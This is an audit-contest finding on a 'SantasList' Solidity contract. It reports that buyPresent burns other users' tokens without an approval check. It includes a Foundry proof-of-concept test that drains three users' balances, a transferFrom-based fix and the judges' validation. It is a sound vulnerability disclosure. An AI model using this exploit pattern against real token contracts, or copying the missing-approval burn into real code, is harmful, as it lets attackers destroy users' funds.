Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

User can buy presents for themselves with other's token

Summary

Attacker can burn others' token to buy present for himself.

Vulnerability Details

The function Santalist.buyPresent allow msg.sender to mint Present by burning a certain amount of token. This function burns the token of the presentReceiver without checking for approvals. An attacker can burn the token of all users to buy presents for themselves.

Impact

The balance of all SantaToken(ERC20) can be drained.

Tests:

function testHackBuyPresent() public {
address naiveUserA = makeAddr("naiveUserA");
address naiveUserB = makeAddr("naiveUserB");
address naiveUserC = makeAddr("naiveUserC");
address[3] memory naiveUsers = [naiveUserA, naiveUserB, naiveUserC];
for (uint256 i = 0; i < 3; i++) {
deal(address(santaToken), naiveUsers[i], 1e18);
assertEq(santaToken.balanceOf(naiveUsers[i]), 1e18);
vm.prank(user);
santasList.buyPresent(naiveUsers[i]);
assertEq(santaToken.balanceOf(naiveUsers[i]), 0);
}
assertEq(santasList.balanceOf(user), 3);
}

Tools Used

Foundry

Recommendations

Always check for approval before performing actions on user's token.
Rewrite the function to only burn the msg.sender's token and mint to presentReciever

function buyPresent(address presentReceiver) external {
// TransferFrom checks the allowance
i_santaToken.transferFrom(msg.sender, address(this), 1e18);
i_santaToken.burn(address(this));
// Mint the NFT to the receiver
_safeMint(presentReceiver, s_tokenCounter++);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPresent should use msg.sender

Current implementation allows a malicious actor to burn someone else's tokens as the burn function doesn't actually check for approvals.

buyPresent should send to presentReceiver

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.